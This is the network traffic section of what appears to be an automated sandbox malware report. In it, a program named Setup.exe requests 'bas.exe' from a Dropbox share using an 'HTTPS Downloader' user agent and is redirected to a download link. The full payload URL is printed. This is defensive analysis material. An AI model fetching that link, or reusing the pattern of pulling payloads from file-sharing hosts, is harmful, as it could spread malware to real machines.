Dec 23, 2024 01:21:50.674391031 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:50.674401045 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:50.674420118 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:50.674432993 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:50.674556971 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:50.674566984 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:50.674652100 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:50.879342079 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:50.879406929 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:51.204380989 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:51.204400063 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.204411983 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.204421043 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.204490900 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:51.204623938 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:51.204631090 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.204647064 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.204658031 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.204909086 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:51.204916954 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.205054998 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:51.411372900 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.411448956 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:51.725313902 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:51.725322962 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.725332022 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.725341082 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.725413084 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:51.725419998 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.725431919 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.725476980 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:51.725483894 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.725503922 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.725528002 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:51.725533009 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.725543022 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.725598097 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:51.725644112 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:51.935355902 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:51.935436010 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.250823975 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.250838995 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.250855923 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.250869036 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.250917912 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.250924110 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.250962973 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.250968933 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.250989914 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.250999928 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.251003981 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.251010895 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.251033068 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.251077890 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.251096964 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.455336094 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.455652952 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.754178047 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.754201889 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.754218102 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.754230976 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.754276991 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.754282951 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.754322052 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.754328012 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.754349947 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.754363060 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.754367113 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.754371881 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.754390955 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.754425049 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.754462004 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:52.959377050 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:52.963635921 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:53.270248890 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:53.270276070 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.270293951 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.270303965 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.270390034 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:53.270397902 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.270420074 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.270440102 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:53.270447016 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.270559072 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:53.270567894 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.270577908 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.270615101 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:53.270648956 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:53.475342989 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.475419998 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:53.808768988 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:53.808795929 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.808814049 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.808825970 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.808924913 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:53.808934927 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.808954954 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.808968067 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.808996916 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:53.809000969 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.809093952 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:53.809103966 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:53.809175014 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:54.019337893 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.019397974 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:54.327788115 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:54.327821016 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.327841043 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.327852964 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.327941895 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:54.327951908 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.327974081 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.327989101 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.328016996 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:54.328022957 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.328134060 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:54.328145027 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.328218937 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:54.539345026 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.539403915 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:54.855648994 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:54.855699062 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.855717897 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.855729103 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.855829000 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:54.855840921 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.855864048 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.855880022 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.855911970 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:54.855917931 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.856004953 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:54.856017113 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:54.856101036 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.063344002 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.063441038 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.407907963 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.407936096 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.407958031 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.407970905 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.408066034 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.408078909 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.408099890 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.408117056 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.408133984 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.408200979 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.408214092 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.408236980 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.408294916 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.408294916 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.619337082 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.619513988 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.947063923 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.947078943 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.947097063 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.947108984 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.947334051 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.947345018 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.947360039 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.947376966 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.947403908 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.947472095 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.947503090 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:55.947568893 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:55.947613001 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:56.159341097 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:56.159401894 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:56.575339079 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:56.575463057 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.057818890 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.057852030 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.057866096 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.057943106 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.057950974 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.057960987 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.057997942 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.058003902 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.058037043 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.058043003 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.058054924 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.058073997 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.058078051 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.058082104 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.058176994 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.058186054 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.058221102 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.058254957 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.267338037 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.267396927 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.605748892 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.605803013 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.605823040 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.605928898 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.605938911 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.605948925 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.605962038 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.605988026 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.605994940 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.606009007 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.606096029 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.606103897 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.606203079 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:57.815335035 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:57.815418005 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:58.168076992 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:58.168106079 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:58.168121099 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:58.168374062 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:58.168390036 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:58.168404102 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:58.168416023 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:58.168562889 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:58.168570042 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:58.168673038 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:58.379343987 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:58.379439116 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:58.697217941 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:58.697228909 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:58.697240114 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:58.697357893 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:58.697365046 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:58.697376013 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:58.697384119 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:58.697523117 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:58.697592020 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:58.697685957 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:58.903346062 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:58.903423071 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:59.327342033 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:59.327461004 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:59.725790977 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:59.725817919 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:59.725831032 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:59.725889921 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:59.725895882 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:59.725907087 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:59.725924015 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:59.725929022 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:59.725981951 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:59.725987911 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:59.726000071 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:59.726012945 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:59.726022005 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:59.726036072 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:59.726134062 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:59.726139069 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:59.726185083 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:59.726205111 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:59.726242065 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:59.726264954 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:59.935332060 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:59.935437918 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:00.231646061 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:00.231664896 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:22:00.231678009 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:22:00.231683016 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:22:00.231790066 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:00.231797934 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:22:00.231812954 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:22:00.231832981 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:22:00.231899977 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:00.231904984 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:22:00.231950045 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:00.231977940 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:00.232004881 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:00.443329096 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:22:00.443418026 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:00.755944967 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:00.755969048 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:22:00.755983114 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:22:00.755995035 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:22:00.756052017 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:00.756059885 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:22:00.756074905 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:22:00.756081104 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:22:00.756088018 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:00.756115913 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:00.756156921 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:01.298557043 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:01.843892097 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:03.341155052 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:22:03.341193914 CET	443	49731	162.125.69.15	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 01:21:00.419023991 CET	63363	53	192.168.2.4	1.1.1.1
Dec 23, 2024 01:21:00.655693054 CET	53	63363	1.1.1.1	192.168.2.4
Dec 23, 2024 01:21:04.495016098 CET	50543	53	192.168.2.4	1.1.1.1
Dec 23, 2024 01:21:05.014069080 CET	53	50543	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 01:21:00.419023991 CET	192.168.2.4	1.1.1.1	0xe494	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:21:04.495016098 CET	192.168.2.4	1.1.1.1	0x7c61	Standard query (0)	uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 01:21:00.655693054 CET	1.1.1.1	192.168.2.4	0xe494	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 01:21:00.655693054 CET	1.1.1.1	192.168.2.4	0xe494	No error (0)	www-env.dropbox-dns.com		162.125.69.18	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:21:05.014069080 CET	1.1.1.1	192.168.2.4	0x7c61	No error (0)	uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 01:21:05.014069080 CET	1.1.1.1	192.168.2.4	0x7c61	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.dropbox.com

uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	162.125.69.18	443	6652	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 00:21:02 UTC	160	OUT	GET /scl/fi/5f2wtgchzmyjlw28dykxx/bas.exe?rlkey=pe1jp4uyttpg7v7kioe9u8jb3&e=1&st=7wdacn4u&dl=1 HTTP/1.1 User-Agent: HTTPS Downloader Host: www.dropbox.com
2024-12-23 00:21:04 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: base-uri 'self' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; font-src https://* data: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.liv [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.com/cd/0/get/CgxL_sGgMmenlNr7FuMdTwdE1QOtLEAvyvMdrq-bulTjKCVTsfTR1GGgVvibEnL4VKGXy7fhr9VgzYQYFYL4SrP7TlgvcKyh7J8kKb_KDnhLX7mQlWP1127kJQEUEtdVPKaLqIMqjXhd4ZMQlHSKE0tJ/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MjEwNDQ1NTYwMjc2NzMzMzg2OTcwOTU3OTU3MjYzNTI1NjQ1MTA2; Path=/; Expires=Sat, 22 Dec 2029 00:21:02 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=KFF4HK51ig1NuzYvjDGew67l; Path=/; Domain=dropbox.com; Expires=Tue, 23 Dec 2025 00:21:02 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=KFF4HK51ig1NuzYvjDGew67l; Path=/; Expires=Tue, 23 Dec 2025 00:21:02 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=LL-LijN9pg; Path=/; Expires=Tue, 23 Dec 2025 00:21:02 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sat, 22 Dec 2029 00:21:02 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Mon, 23 Dec 2024 00:21:04 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: cd645e255aa84e75a182e5b0b2a186e4 Connection: close
